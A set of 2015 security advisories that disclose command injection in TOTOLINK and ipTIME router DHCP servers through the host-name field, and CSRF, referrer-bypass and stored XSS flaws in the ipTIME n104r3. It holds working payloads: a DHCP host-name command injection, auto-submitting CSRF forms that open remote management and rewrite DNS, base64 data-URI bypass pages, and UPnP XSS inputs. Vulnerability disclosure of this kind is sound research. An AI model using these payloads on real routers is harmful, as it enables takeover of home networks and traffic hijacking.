## Details - RCE with a single DHCP request
This vulnerability is the exact inverse of CVE-2011-0997. The DHCPD server in TOTOLINK devices allows remote attackers to execute arbitrary commands
via shell metacharacters in the host-name field.
Sending a DHCP request with this parameter will reboot the device:
cat /etc/dhcp/dhclient.conf
send host-name ";/sbin/reboot";
When connecting to the UART port (`screen /dev/ttyUSB0 38400`), we will see the stdout of the /dev/console device;
the dhcp request will immediately force the reboot of the remote device:
Booting...
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@
@ chip__no chip__id mfr___id dev___id cap___id size_sft dev_size chipSize
@ 0000000h 0c84015h 00000c8h 0000040h 0000015h 0000000h 0000015h 0200000h
@ blk_size blk__cnt sec_size sec__cnt pageSize page_cnt chip_clk chipName
@ 0010000h 0000020h 0001000h 0000200h 0000100h 0000010h 000004eh GD25Q16
@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
[...]
WiFi Simple Config v1.12 (2009.07.31-11:35+0000).
Launch iwcontrol: wlan0
Reaped 317
iwcontrol RUN OK
SIGNAL -> Config Update signal progress
killall: pppoe-relay: no process killed
SIGNAL -> WAN ip changed
WAN0 IP: 192.168.2.1
signalling START
Invalid upnpd exit
killall: upnpd: no process killed
upnpd Restart 1
iptables: Bad rule (does a matching rule exist in that chain?)
Session Garbage Collecting:Maybe system time is updated.( 946684825 0 )
Update Session timestamp and try it after 5 seconds again.
ez_ipupdate callback --> time_elapsed: 0
Run DDNS by IP change: / 192.168.2.1
Reaped 352
iptables: Bad rule (does a matching rule exist in that chain?)
Jan 1 00:00:25 miniupnpd[370]: Reloading rules from lease file
Jan 1 00:00:25 miniupnpd[370]: could not open lease file: /var/run/upnp_pmlist
Jan 1 00:00:25 miniupnpd[370]: HTTP listening on port 2048
Reaped 363
Led Silent Callback
Turn ON All LED
Dynamic Channel Search for wlan0 is OFF
start_signal => plantynet_sync
Do start_signal => plantynet_sync
SIGNAL -> Config Update signal progress
killall: pppoe-relay: no process killed
SIGNAL -> WAN ip changed
Reaped 354
iptables: Bad rule (does a matching rule exist in that chain?)
ez_ipupdate callback --> time_elapsed: 1
Run DDNS by IP change: / 192.168.2.1
Burst DDNS Registration is denied: iptime -> now:26
Led Silent Callback
Turn ON All LED
/proc/sys/net/ipv4/tcp_syn_retries: cannot create
- - - - ---> Plantynet Event : 00000003
- - - - ---> PLANTYNET_SYNC_INTERNET_BLOCK_DEVICE
[sending the DHCP request]
[01/Jan/2000:00:01:03 +0000] [01/Jan/2000:00:01:03 +0000] Jan 1 00:01:03 miniupnpd[370]: received signal 15, good-bye
Reaped 392
Reaped 318
Reaped 314
Reaped 290
Reaped 288
Reaped 268
Reaped 370
Reaped 367
- - - - ---> PLANTYNET_SYNC_FREE_DEVICE
Restarting system.
Booting...
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@
@ chip__no chip__id mfr___id dev___id cap___id size_sft dev_size chipSize
@ 0000000h 0c84015h 00000c8h 0000040h 0000015h 0000000h 0000015h 0200000h
@ blk_size blk__cnt sec_size sec__cnt pageSize page_cnt chip_clk chipName
@ 0010000h 0000020h 0001000h 0000200h 0000100h 0000010h 000004eh GD25Q16
@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Reboot Result from Watchdog Timeout!
- - - - ---RealTek(RTL8196E)at 2012.07.06-04:36+0900 v0.4 [16bit](400MHz)
Delay 1 second till reset button
Magic Number: raw_nv 00000000
Check Firmware(05020000) : size: 0x001ddfc8 ---->
[...]
An attacker can use the /usr/bin/wget binary located in the file system of the remote device to plant a backdoor and then execute it as root.
## Vendor Response
Due to "un-ethical code" found in TOTOLINK products (= backdoors found in new TOTOLINK devices), TOTOLINK was not contacted in regard of this case, but ipTIME was contacted in April 2015 concerning the first RCE.
## Report Timeline
* Jun 01, 2014: First RCE found by Pierre Kim and Alexandre Torres in ipTIME products.
* Jun 02, 2014: Second RCE found by Pierre Kim in ipTIME products.
* Jun 25, 2015: Similar vulnerabilities found in TOTOLINK products.
* Jul 13, 2015: TOTOLINK silently fixed the HTTP RCE in A2004NS and EX750 routers.
* Jul 13, 2015: Updated firmwares confirmed vulnerable.
* Jul 16, 2015: A public advisory is sent to security mailing lists.
## Credit
These vulnerabilities were found by Alexandre Torres and Pierre Kim (@PierreKimSec).
## References
https://pierrekim.github.io/advisories/2015-totolink-0x00.txt
https://pierrekim.github.io/blog/2015-07-16-15-TOTOLINK-products-vulnerable-to-multiple-RCEs.html
## Disclaimer
This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iQIcBAEBCgAGBQJVq/MEAAoJEMQ+Dtp9ky28q5QP/iv9DnkWIYfVBsd9DCRjwkhp
bJDnignaI9xbQJxw40eCcDvaEhCVKrpwpbY0SA1e0uVwTAoZIZKOuI+VZR33dU9M
+YaaxrWz8mhGUis2WrtVufNKTjKKoIeefHn9n5fjg18BKVlTcVW4sMpJAUCbI/c7
7We3dAJgIuEVSScVHB9jsCRipZwsGzUfeLOqUboJHekmna4R2rxrVHs0noArMJdH
IucAskoOupBP7oiWH5ifsKQSBXxKVZZihukJbWhBDeO4R2jvwgVx5cgzsezRWz4U
EIO9skElbOKF8YWUzejMtVFP/lYVqfhixu3uoWmkVyVK4QwT8sM5mSk/xoBzc/9+
/SA1nSflRgfuD3RBHdmUGaM9dqyldlUggfHUvx6RMXsI/zI2LHk+0w6Bl/3vBuzG
MURIbiHm4T8SoKOC9nbPDSK9oaKoL/g0yYGkbtw87fuhYJP1Su2Xy+CG6LsBP2eM
LpxxgLGHl6HBX4pqrHaHBbureM+wrAFbHetp1SG0rjiUkXJLgwo9pbnx1a3oe7ik
gqQZRaveyQK+sOJdiCwgMTR4wsi3hoY+1UlntKil+XW0+Vf9arDwaTzrJs2zn1Us
qYspmrBsBibG4T4W/reCIGU3lTNyiOWi80qGgqzab0k2/MLU23YB6ktwz8AxzpTv
rXDUveDVcMt/YxA9/nKu
=XzCM
-----END PGP SIGNATURE-----
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
## Advisory Information
Title: 127 ipTIME router models vulnerable to an unauthenticated RCE by sending a crafted DHCP request
Advisory URL: https://pierrekim.github.io/advisories/2015-iptime-0x02.txt
Blog URL: https://pierrekim.github.io/blog/2015-07-06-127-iptime-router-models-unauthenticated-RCE-with-DHCP.html
Date published: 2015-07-06
Vendors contacted: None
Release mode: Released, 0day
CVE: no current CVE
## Product Description
EFMNetworks ipTIME is the largest Korean brand of SOHO/small/middle entreprise Routers/WiFi APs/Modems/Firewalls in South Korea
with millions of devices deployed in the country. EFMNetworks ipTIME is occupying more than 60 percent of personal network devices.
There are =~ 10 000 000 of ipTIME devices deployed in South Korea.
## Vulnerability Summary
This vulnerability allows to bypass the admin authentication and to get a direct RCE from the LAN side with a single DHCP request.
This is a direct RCE against the routers which gives a complete root access to the embedded Linux from the LAN side.
It affects 127 ipTIME products from 2009-era firmwares to the current firwmare (9.66, built time 2015-06-11) with the default configuration:
- ipTIME a1004
- ipTIME a1004v
- ipTIME a104
- ipTIME a104ns
- ipTIME a104r
- ipTIME a2004
- ipTIME a2004ns
- ipTIME a2004r
- ipTIME a2008
- ipTIME a3004
- ipTIME a3004ns
- ipTIME a5004ns
- ipTIME a604
- ipTIME a604v
- ipTIME extac
- ipTIME extd2
- ipTIME g1
- ipTIME g104
- ipTIME g104a
- ipTIME g104be
- ipTIME g104i
- ipTIME g104m
- ipTIME g204
- ipTIME g501
- ipTIME g504
- ipTIME ipsmart
- ipTIME mini
- ipTIME mobap1
- ipTIME multi
- ipTIME n1
- ipTIME n104
- ipTIME n104a
- ipTIME n104ar1
- ipTIME n104i
- ipTIME n104k
- ipTIME n104ktt
- ipTIME n104m
- ipTIME n104p
- ipTIME n104q
- ipTIME n104r
- ipTIME n104r3
- ipTIME n104rsk
- ipTIME n104s
- ipTIME n104sr1
- ipTIME n104t
- ipTIME n104v
- ipTIME n104vlg
- ipTIME n1e
- ipTIME n1eky
- ipTIME n1p
- ipTIME n2
- ipTIME n2e
- ipTIME n2p
- ipTIME n3004
- ipTIME n5
- ipTIME n5004
- ipTIME n504
- ipTIME n5r1
- ipTIME n6004
- ipTIME n6004m
- ipTIME n6004r
- ipTIME n604
- ipTIME n604a
- ipTIME n604i
- ipTIME n604m
- ipTIME n604p
- ipTIME n604r
- ipTIME n604s
- ipTIME n604t
- ipTIME n604v
- ipTIME n604vlg
- ipTIME n608
- ipTIME n7004ns
- ipTIME n702bcm
- ipTIME n704
- ipTIME n704a
- ipTIME n704a3
- ipTIME n704bcm
- ipTIME n704lg
- ipTIME n704m
- ipTIME n704mlg
- ipTIME n704ns
- ipTIME n704s
- ipTIME n704v
- ipTIME n704v3
- ipTIME n8004
- ipTIME n8004r
- ipTIME n8004v
- ipTIME n804
- ipTIME n804a
- ipTIME n804a3
- ipTIME n804t
- ipTIME n804t3
- ipTIME n804v
- ipTIME n904
- ipTIME n904ns
- ipTIME n904v
- ipTIME ng104
- ipTIME ng304
- ipTIME ntq104
- ipTIME ntv108
- ipTIME ntv116
- ipTIME ntv124
- ipTIME q1
- ipTIME q304
- ipTIME q504
- ipTIME q604
- ipTIME t1004
- ipTIME t1008
- ipTIME t16000
- ipTIME t2008
- ipTIME t24000
- ipTIME t3004
- ipTIME t3008
- ipTIME timeve
- ipTIME tq204
- ipTIME tv104
- ipTIME v1016
- ipTIME v1024
- ipTIME v304
- ipTIME v308
- ipTIME v504
- ipTIME wre1
- ipTIME x3003
- ipTIME x3007
- ipTIME x5007
- ipTIME x6003
The probability that firmware 9.68 (last firmware for these specific models) running in the below products is vulnerable is VERY high:
- ipTIME q304
- ipTIME q1
- ipTIME q504
- ipTIME ew302
- ipTIME n702bcm
- ipTIME a3004ns
- ipTIME a5004ns
Concerning the high CVSS score (10/10) of the vulnerability, the number of affected devices and the longevity of this vulnerability (6+ year old),
the ipTIME users are urged to contact ipTIME.
## Details
This vulnerability is the exact inverse of CVE-2011-0997. The DHCPD server in ipTIME devices allows remote attackers to execute arbitrary commands
via shell metacharacters in the host-name field.
Sending a DHCP request with this parameter will reboot the device:
cat /etc/dhcp/dhclient.conf
send host-name ";/sbin/reboot";
When connecting to the UART port (`screen /dev/ttyUSB0 38400`), we will see the stdout of the /dev/console device;
the dhcp request will immediately force the reboot of the remote device:
Booting...
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@
@ chip__no chip__id mfr___id dev___id cap___id size_sft dev_size chipSize
@ 0000000h 0c84015h 00000c8h 0000040h 0000015h 0000000h 0000015h 0200000h
@ blk_size blk__cnt sec_size sec__cnt pageSize page_cnt chip_clk chipName
@ 0010000h 0000020h 0001000h 0000200h 0000100h 0000010h 000004eh GD25Q16
@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
[...]
WiFi Simple Config v1.12 (2009.07.31-11:35+0000).
Launch iwcontrol: wlan0
Reaped 317
iwcontrol RUN OK
SIGNAL -> Config Update signal progress
killall: pppoe-relay: no process killed
SIGNAL -> WAN ip changed
WAN0 IP: 192.168.2.1
signalling START
Invalid upnpd exit
killall: upnpd: no process killed
upnpd Restart 1
iptables: Bad rule (does a matching rule exist in that chain?)
Session Garbage Collecting:Maybe system time is updated.( 946684825 0 )
Update Session timestamp and try it after 5 seconds again.
ez_ipupdate callback --> time_elapsed: 0
Run DDNS by IP change: / 192.168.2.1
Reaped 352
iptables: Bad rule (does a matching rule exist in that chain?)
Jan 1 00:00:25 miniupnpd[370]: Reloading rules from lease file
Jan 1 00:00:25 miniupnpd[370]: could not open lease file: /var/run/upnp_pmlist
Jan 1 00:00:25 miniupnpd[370]: HTTP listening on port 2048
Reaped 363
Led Silent Callback
Turn ON All LED
Dynamic Channel Search for wlan0 is OFF
start_signal => plantynet_sync
Do start_signal => plantynet_sync
SIGNAL -> Config Update signal progress
killall: pppoe-relay: no process killed
SIGNAL -> WAN ip changed
Reaped 354
iptables: Bad rule (does a matching rule exist in that chain?)
ez_ipupdate callback --> time_elapsed: 1
Run DDNS by IP change: / 192.168.2.1
Burst DDNS Registration is denied: iptime -> now:26
Led Silent Callback
Turn ON All LED
/proc/sys/net/ipv4/tcp_syn_retries: cannot create
- ---> Plantynet Event : 00000003
- ---> PLANTYNET_SYNC_INTERNET_BLOCK_DEVICE
[sending the DHCP request]
[01/Jan/2000:00:01:03 +0000] [01/Jan/2000:00:01:03 +0000] Jan 1 00:01:03 miniupnpd[370]: received signal 15, good-bye
Reaped 392
Reaped 318
Reaped 314
Reaped 290
Reaped 288
Reaped 268
Reaped 370
Reaped 367
- ---> PLANTYNET_SYNC_FREE_DEVICE
Restarting system.
Booting...
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@
@ chip__no chip__id mfr___id dev___id cap___id size_sft dev_size chipSize
@ 0000000h 0c84015h 00000c8h 0000040h 0000015h 0000000h 0000015h 0200000h
@ blk_size blk__cnt sec_size sec__cnt pageSize page_cnt chip_clk chipName
@ 0010000h 0000020h 0001000h 0000200h 0000100h 0000010h 000004eh GD25Q16
@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Reboot Result from Watchdog Timeout!
- ---RealTek(RTL8196E)at 2012.07.06-04:36+0900 v0.4 [16bit](400MHz)
Delay 1 second till reset button
Magic Number: raw_nv 00000000
Check Firmware(05020000) : size: 0x001ddfc8 ---->
[...]
An attacker can use the /usr/bin/wget binary located in the file system of the remote device to plant a backdoor and then execute it as root.
- From my tests, it is possible to use this vulnerability to overwrite the firmware with a custom (backdoored) firmware.
## Vendor Response
- From my experience, contacting EFMNetworks ipTIME proved to be useless.
They don't publish security information in the changelog, they don't answer to security researchers and
they don't credit them either.
EFMNetworks ipTIME was not contacted in regard of this case.
## Report Timeline
* Jun 02, 2014: Vulnerability found by Pierre Kim.
* Apr 07, 2015: Vulnerabilities confirmed with reliable PoCs.
* Jun 25, 2015: Vulnerability confirmed on all the existing versions from 2009 to 2015 including the last firmware version (9.66).
* Jul 06, 2015: A public advisory is sent to security mailing lists.
## Credit
This vulnerability was found by Pierre Kim (@PierreKimSec).
## References
https://pierrekim.github.io/advisories/2015-iptime-0x02.txt
## Disclaimer
This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iQIcBAEBCgAGBQJVmcxDAAoJEMQ+Dtp9ky28/vgP/RexWVHpSEIxER8l/JbShcuC
mUKpgvxFzLNqFbqXRrf1obB7DhJ2H1q1e1Nq/w02QZDBnhN3A6e52cBFNw7SLQ9V
zuoNX3o/we9LkPN1rQsQniPiPp3GqtzgE8+mXzyWSgGBrk+9xa3Wymn3Z1VlZjUy
L+gmfYIgyv7RRnAOqZn8k2eJOFdrytp4I7RlGP9eBUas8M+Sd0Y9cFmF9OsaAJtC
SrerzyAt1onlNpeiMGWqI6hyqK/Fh2JSDzeYrYMZVjUgR/ffaLS+7WQSjByunCR5
XlpsgxGKqpqrpOd6IVdE9YMKS2/zi9oiEd3fRIxNHGZ+yjGHThK562lhLgm+aeMf
nRDMJaby4qvhztChktT8z0ie0C/3xW6I1K2VlEi+89Z5N6951TsZcFgUq65mLi7l
x0s3Q9BblZ21+W5nD3dJlK+F+NX6s0+MzAv44r4lAP4nuJ5k0zHw7LIHQ09boZX2
+4zJa1vZjFgsVCC0QgVdbpR3pPn9MSwsPiMOcqwZZALrJpQRljNm7+A/fKO9kDUx
z7MZVnoY2090EpspCrE3wA6AGYdrzVg3tc9U90hc+kdMRTR0cOpK5TDf9ArN6Bok
kTPhnpOftrEVYOA1JLeOvSPNFLYK193niQE46TrTlQMUVKsummhtTJY8oe+rtQMf
WHjFp48VR2JM+PMRW0BR
=c35o
-----END PGP SIGNATURE-----
More vulnerabilities regarding ipTIME products are likely to be released soon.
The ipTIME n104r3 is a wireless LAN router. Its current firmware (9.58) with default configuration is vulnerable to CSRF-attacks and stored XSS attacks.
Click the links below to access to the exploits:
CSRF-attack activating the remote control management on port 31337/tcp:
Stored XSS:
Complete advisory:
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
## Advisory Information
Title: iptime n104r3 vulnerable to CSRF and XSS attacks
Advisory URL: https://pierrekim.github.io/advisories/2015-iptime-0x01.txt
Blog URL: https://pierrekim.github.io/blog/2015-07-03-iptime-n104r3-vulnerable-to-CSRF-and-XSS-attacks.html
Date published: 2015-07-03
Vendors contacted: None
Release mode: Released, 0day
CVE: no current CVE
## Product Description
EFMNetworks ipTIME is the largest Korean brand of SOHO/small/middle entreprise Routers/WiFi APs/Modems/Firewalls in South Korea with millions of devices deployed in the country.
EFMNetworks ipTIME is occupying more than 60 percent of personal network devices.
## Vulnerability Summary
The ipTIME n104r3 is a wireless LAN router. Its current firmware (9.58) with default configuration is
vulnerable to CSRF-attacks and XSS attacks.
Since, its anti-CSRF protection is based on a static HTTP referrer (RFC 1945), an attacker can take over
most of the configuration and settings using anyone inside the LAN of the router. Owners are urged to
contact ipTIME, and activate authentication on this product (disabled by default).
Due to the fact the firmware seems to be used on several products, it is highly likely that other products
of ipTIME are vulnerable.
The probability that the N104T is also vulnerable is very high but I don't have possibility to test the
exploits against live ipTIME N104T routers.
## Details - CSRF
The HTTP interface allows to edit the configuration. This interface is vulnerable to CSRF.
Configuration and settings can be modified with CSRF attacks:
- Activate the remote control management
- Change the DNS configuration
- Update the firmware
- Change the Wifi Configuration
- Create TCP redirections to the LAN
- and more...
Example of forms exploiting the CSRF:
o Activating the remote control management on port 31337/tcp listening on the WAN interface.
<html>
<head>
<script>
function s() {
document.f.submit();
}
</script>
</head>
<body onload="s()">
<form id="f" name="f" method="POST" action="http://192.168.0.1/do_cmd.htm">
<input type="hidden" name="CMD" value="SYS">
<input type="hidden" name="GO" value="firewallconf_accesslist.html">
<input type="hidden" name="nowait" value="1">
<input type="hidden" name="SET0" value="17367296=31337">
<input type="hidden" name="SET1" value="17236224=1">
</form>
</body>
</html>
o Changing the DNS configuration to 0.2.0.7 and 1.2.0.1:
<html>
<head>
<script>
function s() {
document.f.submit();
}
</script>
</head>
<body onload="s()">
<form id="f" name="f" method="POST" action="http://192.168.0.1/do_cmd.htm">
<input type="hidden" name="CMD" value="WAN">
<input type="hidden" name="GO" value="netconf_wansetup.html">
<input type="hidden" name="SET0" value="50397440=2">
<input type="hidden" name="SET1" value="50856960=64-E5-99-AA-AA-AA">
<input type="hidden" name="SET2" value="235077888=1">
<input type="hidden" name="SET3" value="235012865=0.2.0.7">
<input type="hidden" name="SET4" value="235012866=1.2.0.1">
<input type="hidden" name="SET5" value="51118336=0">
<input type="hidden" name="SET6" value="51839232=1">
<input type="hidden" name="SET7" value="51511552=1500">
<input type="hidden" name="SET8" value="117834240=">
<input type="hidden" name="SET9" value="117703168=">
<input type="hidden" name="SET10" value="117637376=1492">
<input type="hidden" name="SET11" value="51446016=1500">
<input type="hidden" name="SET12" value="50463488=192.168.1.1">
<input type="hidden" name="SET13" value="50529024=255.255.255.0">
<input type="hidden" name="SET14" value="50594560=192.168.1.254">
</form>
</body>
</html>
The variable GO is an open redirect. Any URL like http://www.google.com/ for instance can be used.
The variable GO is also vulnerable to XSS. It's out of scope in this advisory.
To bypass the protection (which checks the refer), you can, for example, base64 the form and include
it in the webpage.
The refer will be empty and the CSRF will be accepted by the device:
o activate_admin_wan_csrf_bypass.html:
<html>
<head>
<meta http-equiv="Refresh" content="1;url=data:text/html;charset=utf8;base64,PGh0bWw+CjxoZWFkPgo8c2NyaXB0PgpmdW5jdGlvbiBzKCkgewogIGRvY3VtZW50LmYuc3VibWl0KCk7Cn0KPC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHkgb25sb2FkPSJzKCkiPgo8Zm9ybSBpZD0iZiIgbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249Imh0dHA6Ly8xOTIuMTY4LjAuMS9kb19jbWQuaHRtIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iQ01EIiB2YWx1ZT0iU1lTIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iR08iIHZhbHVlPSJmaXJld2FsbGNvbmZfYWNjZXNzbGlzdC5odG1sIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ibm93YWl0IiB2YWx1ZT0iMSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDAiIHZhbHVlPSIxNzM2NzI5Nj0zMTMzNyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDEiIHZhbHVlPSIxNzIzNjIyND0xIj4KPC9mb3JtPgo8L2JvZHk+CjwvaHRtbD4K">
</head>
<body>
</body>
</html>
Visiting activate_admin_wan_csrf_bypass.html in a remote location will activate
the remote management interface on port 31337/TCP.
You can test it through http://pierrekim.github.io/advisories/2015-iptime-0x01-PoC-change_dns_csrf_bypass.html
o change_dns_csrf_bypass.html:
<html>
<head>
<meta http-equiv="Refresh" content="1;url=data:text/html;charset=utf8;base64,PGh0bWw+CjxoZWFkPgo8c2NyaXB0PgpmdW5jdGlvbiBzKCkgewogIGRvY3VtZW50LmYuc3VibWl0KCk7Cn0KPC9zY3JpcHQ+CjwvaGVhZD4KPGJvZHkgb25sb2FkPSJzKCkiPgo8Zm9ybSBpZD0iZiIgbmFtZT0iZiIgbWV0aG9kPSJQT1NUIiBhY3Rpb249Imh0dHA6Ly8xOTIuMTY4LjAuMS9kb19jbWQuaHRtIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iQ01EIiB2YWx1ZT0iV0FOIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iR08iIHZhbHVlPSJuZXRjb25mX3dhbnNldHVwLmh0bWwiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJTRVQwIiB2YWx1ZT0iNTAzOTc0NDA9MiI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDEiIHZhbHVlPSI1MDg1Njk2MD02NC1FNS05OS1BQS1BQS1BQSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDIiIHZhbHVlPSIyMzUwNzc4ODg9MSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDMiIHZhbHVlPSIyMzUwMTI4NjU9MC4yLjAuNyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDQiIHZhbHVlPSIyMzUwMTI4NjY9MS4yLjAuMSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDUiIHZhbHVlPSI1MTExODMzNj0wIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iU0VUNiIgdmFsdWU9IjUxODM5MjMyPTEiPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJTRVQ3IiB2YWx1ZT0iNTE1MTE1NTI9MTUwMCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDgiIHZhbHVlPSIxMTc4MzQyNDA9Ij4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iU0VUOSIgdmFsdWU9IjExNzcwMzE2OD0iPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJTRVQxMCIgdmFsdWU9IjExNzYzNzM3Nj0xNDkyIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iU0VUMTEiIHZhbHVlPSI1MTQ0NjAxNj0xNTAwIj4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iU0VUMTIiIHZhbHVlPSI1MDQ2MzQ4OD0xOTIuMTY4LjEuMSI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDEzIiB2YWx1ZT0iNTA1MjkwMjQ9MjU1LjI1NS4yNTUuMCI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9IlNFVDE0IiB2YWx1ZT0iNTA1OTQ1NjA9MTkyLjE2OC4xLjI1NCI+CjwvZm9ybT4KPC9ib2R5Pgo8L2h0bWw+Cg==">
</head>
<body>
</body>
</html>
Visiting activate_admin_wan_csrf_bypass.html in a remote location will change the DNS servers
provided by the ipTIME device in the LAN.
You can test it through http://pierrekim.github.io/advisories/2015-iptime-0x01-PoC-activate_admin_wan_csrf_bypass.html
## Details - stored XSS and fun
There is a stored XSS, which can be injected using UPNP from the LAN, without authentication:
upnp> host send 0 WANConnectionDevice WANIPConnection AddPortMapping
Required argument:
Argument Name: NewPortMappingDescription
Data Type: string
Allowed Values: []
Set NewPortMappingDescription value to: <script>alert("XSS");</script>
Required argument:
Argument Name: NewLeaseDuration
Data Type: ui4
Allowed Values: []
Set NewLeaseDuration value to: 0
Required argument:
Argument Name: NewInternalClient
Data Type: string
Allowed Values: []
Set NewInternalClient value to: <script>alert("XSS");</script>
Required argument:
Argument Name: NewEnabled
Data Type: boolean
Allowed Values: []
Set NewEnabled value to: 1
Required argument:
Argument Name: NewExternalPort
Data Type: ui2
Allowed Values: []
Set NewExternalPort value to: 80
Required argument:
Argument Name: NewRemoteHost
Data Type: string
Allowed Values: []
Set NewRemoteHost value to: <script>alert("XSS");</script>
Required argument:
Argument Name: NewProtocol
Data Type: string
Allowed Values: ['TCP', 'UDP']
Set NewProtocol value to: TCP
Required argument:
Argument Name: NewInternalPort
Data Type: ui2
Allowed Values: []
Set NewInternalPort value to: 80
upnp>
The UPNP webpage in the administration area (http://192.168.0.1/popup_upnp_portmap.html) will show:
[...]
<tr>
<td class=item_td>TCP</td>
<td class=item_td>21331</td>
<td class=item_td><script>alert("XSS")<script>alert("XSS");</script>:28777</td>
<td class=item_td><script>alert("XSS");</script></td>
</tr>
[...]
- From my research, there are some bits overflapping with others, resulting in showing funny ports
and truncating input data. A remote DoS against the upnpd process seems to be easily done.
Gaining Remote Code Execution by UPNP exploitation is left as a exercise for the reader.
## Vendor Response
- From my experience, contacting EFMNetworks ipTIME proved to be useless.
They don't publish security information in the changelog, they don't answer to security researchers and
they don't credit them either.
EFMNetworks ipTIME was not contacted in regard of this case.
## Report Timeline
* Apr 20, 2015: Vulnerabilities found by Pierre Kim.
* Jun 20, 2015: Vulnerabilities confirmed with reliable PoCs.
* Jul 03, 2015: A public advisory is sent to security mailing lists.
## Credit
These vulnerabilities were found by Pierre Kim (@PierreKimSec).
## Greetings
Big thanks to Alexandre Torres.
## References
https://pierrekim.github.io/advisories/2015-iptime-0x01.txt
https://pierrekim.github.io/blog/2015-07-03-iptime-n104r3-vulnerable-to-CSRF-and-XSS-attacks.html
## Disclaimer
This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1
iQIcBAEBCgAGBQJVlbX6AAoJEMQ+Dtp9ky28I3AP/jAFTG1dEaWAFdqA1Vbagdyl
kIM22Gl+m4owJ5zYcJPahAsXAyHiigiA3bFFqC2TlRHZbIdFqsDXK2vM02uWi+KS
UiEl98VODDOjVqRj2x/f67qjU2vYWuS6TwT1OsjwMOnGOizHwqpqtQ1bLE6STKdY
9piABt9QZ4aw/CQk+32LEYO4jFHn75/9uncjP0tWblfE+7C7YrFF9F4Yg60m59R1
UuT0pvgLGHBpUw/VDCazGLJvd09jDQDlBQp7RraRrMPptmRvzhLVwQRaYwugWeqa
bGEIgclf5kbWO+LHRLvhkXtoDnw7TcEzR4+pXU3RUgA+Plz5z+9RR4chvAR116v/
0ZydSGdR1zaQWymU5KzZ2MadITw+T2iOjU2i8r7qluC1NX3YK7FVRz6TVlm5UVUj
Y5tg0PZ0vFsazPqa/TA26t+r9KrmjUJTuPPeecv5w3T6Y5Hl+MrMoaTl5MbXQD2b
bigs+7UsN7jPIY75PHfDrWyiDcqfx9Ra5vrRlt2SSg9oD3qXyX15OmsoDJYJ1xvG
cHrwXpOoiWC5rzQj6g6PNUqUbUyMdoXuoAbMyLXEQ6paKJ69pbVli4qIfakvZFNB
yoKdR13Q+j32YDbGuRcC3uOkkrt5/hW+yTrijs2WdfN5GviuGx4lob2FAQGcmGSo
UH4RwA7mV/6Pm3ZOYG0I
=9xXM
-----END PGP SIGNATURE-----
This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
As stated in the precedent advisories, ipTIME firmwares prior to 9.58 version are vulnerable to a remote code execution which gives root privileges.
From product_db extracted from a live ipTIME system, it concerns at least these devices:
g1 g104a g104be g104i g104m g501 i1601 ic416 ic426 in524 ip0526 ip300 ip409 ip410 ip416 ip418 ip419
